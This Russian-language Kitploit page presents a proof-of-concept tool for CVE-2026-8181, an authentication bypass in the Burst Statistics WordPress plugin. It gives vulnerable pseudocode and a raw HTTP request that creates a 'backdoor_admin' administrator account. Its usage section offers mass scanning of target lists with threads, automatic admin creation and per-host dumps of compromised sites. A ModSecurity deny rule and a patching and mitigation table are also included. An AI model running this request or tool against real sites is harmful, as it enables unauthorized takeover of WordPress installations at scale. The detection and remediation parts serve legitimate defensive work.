CVE-2026-8181-PoC — Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности. | Kitploit

// Упрощённое представление уязвимого кода в Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Корректно обрабатывает явные ошибки аутентификации
}

// 🚨 ФАТАЛЬНАЯ ОШИБКА 🚨
// Если пароль приложения не указан или запрос API ещё не помечен,
// wp_authenticate_application_password возвращает NULL.
// Код не проверяет NULL!
if ( $user === null ) {
    // Вместо безопасного отказа попадает в эту небезопасную ветку:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Предоставлен контекст администратора!
    return true;
}

POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Попытка обхода аутентификации Burst Statistics', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Приоритет	Действие	Подробности
P0	Установите исправление плагина	Обновите Burst Statistics до версии `3.4.2` или выше немедленно через панель управления WordPress.
P1	Виртуальное исправление WAF	Если невозможно установить исправление немедленно, разверните правила WAF (выше) для блокировки заголовка `X-BurstMainWP`.
P2	Ограничьте перечисление пользователей	Используйте плагин безопасности или правила `.htaccess` для блокировки публичного доступа к `/wp-json/wp/v2/users` и `/?author=*`.
P3	Аудит пользователей и файлов	Запустите скрипт для проверки недавно созданных учётных записей администраторов и отзыва несанкционированного доступа. Просканируйте на веб-шеллы.

Возможность	Описание
🎯 Одиночная цель	Сканирование конкретного сайта с помощью флага `-u`.
📦 Массовые операции	Загрузка списка целей через `-f targets.txt` (поддерживаются комментарии через `#`).
⚡ Параллелизм	Ускорение массового сканирования с помощью потоков (`-j N`).
💾 Умный вывод	`-o file.txt` для общего отчёта. В массовом режиме логируются только успешные эксплойты.
📂 Индивидуальные дампы	Используйте `--output-dir` для сохранения отдельных файлов `.txt` для каждого скомпрометированного хоста.
👤 Создание администратора	Используйте `--create-user` для автоматического создания новой учётной записи администратора через REST API.
🔓 Лабораторный TLS	Используйте `-k` для игнорирования ошибок SSL-сертификата (строго для локальных/доверенных лабораторных сред).

# 1. Установите зависимости
pip3 install requests urllib3

# 2. Разведка одного сайта и автоматическое создание нового администратора
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# 3. Массовое сканирование с единым файлом успешных атак
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# 4. Массовое сканирование с индивидуальными отчётами по хостам
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

Популярное

CVE-2026-8181-PoC

📖 Краткое описание

🔬 Подробный анализ: первопричина

Уязвимый поток логики

Псевдокод

⚔️ Пособие для атакующего: эксплуатация

Цепочка атаки

Пример сырого HTTP-запроса

🛡️ Пособие для защиты: обнаружение и смягчение

🕵️ Стратегии обнаружения

1. Правила Web Application Firewall (WAF)

2. Анализ журналов и SIEM-запросы

3. Индикаторы компрометации (IoC)

🛡️ Смягчение и восстановление

🛠️ Использование PoC-инструмента

Возможности

Быстрый старт

📚 Ссылки и благодарности

⚖️ Отказ от ответственности